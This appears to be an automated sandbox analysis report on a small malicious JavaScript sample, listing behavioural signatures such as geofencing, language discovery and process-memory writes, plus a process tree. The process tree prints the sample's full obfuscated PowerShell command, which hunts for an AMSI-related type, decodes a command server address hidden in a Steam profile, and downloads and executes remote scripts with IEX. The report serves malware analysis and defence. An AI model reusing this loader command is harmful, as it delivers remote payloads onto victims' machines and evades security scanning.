Analysis
- max time kernel
149s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 23:10
General
- Target jaffacakes118_f30e18b1aa65cce340de4c3ff4fc435e8f139fe36c35e996adc8cf1c2426a814.js
- Size 1KB
- Sample260910-257mtay1bx
- SHA256 f30e18b1aa65cce340de4c3ff4fc435e8f139fe36c35e996adc8cf1c2426a814
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_f30e18b1aa65cce340de4c3ff4fc435e8f139fe36c35e996adc8cf1c2426a814.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$yvf155d=('R'+'ef' -as [Type]).('As'+'se'+'mb'+'ly').GetTypes();$tspn7w36n = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(((((iwr -useb 'https://steamcommunity.com/profiles/76561199857376321').content -split 'g_rgProfileData =')[1] -split '.?summary.?:.?')[1] -split '.?}')[0])); Foreach($r7c7a in $yvf155d) {if ($r7c7a.Name -like '*ams*U?*ls') {$c=$r7c7a}}; $env:paths = '7z5R0BWB6WS3'; IEX(iwr ($tspn7w36n+'/tweetersUm3.php')); IEX(iwr ($tspn7w36n+'/railheads7tV4.ps1'))"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_1feckku4.rdh.ps1
memory/4380-4-0x0000000004B90000-0x0000000004BB2000-memory.dmp
memory/4380-15-0x0000000005B50000-0x0000000005B6E000-memory.dmp
memory/4380-1-0x00000000045D0000-0x00000000045E0000-memory.dmp
memory/4380-5-0x00000000053B0000-0x0000000005416000-memory.dmp
memory/4380-6-0x0000000005420000-0x0000000005486000-memory.dmp
memory/4380-2-0x0000000004510000-0x0000000004546000-memory.dmp
memory/4380-12-0x0000000005540000-0x0000000005894000-memory.dmp
memory/4380-3-0x0000000004C10000-0x0000000005238000-memory.dmp
memory/4380-16-0x0000000005BE0000-0x0000000005C2C000-memory.dmp
memory/4380-17-0x0000000005F10000-0x0000000005F2A000-memory.dmp
memory/4380-18-0x0000000007580000-0x0000000007BFA000-memory.dmp
memory/4380-19-0x00000000045D0000-0x00000000045E0000-memory.dmp
memory/4380-20-0x00000000045D0000-0x00000000045E0000-memory.dmp
memory/4380-21-0x00000000045D0000-0x00000000045E0000-memory.dmp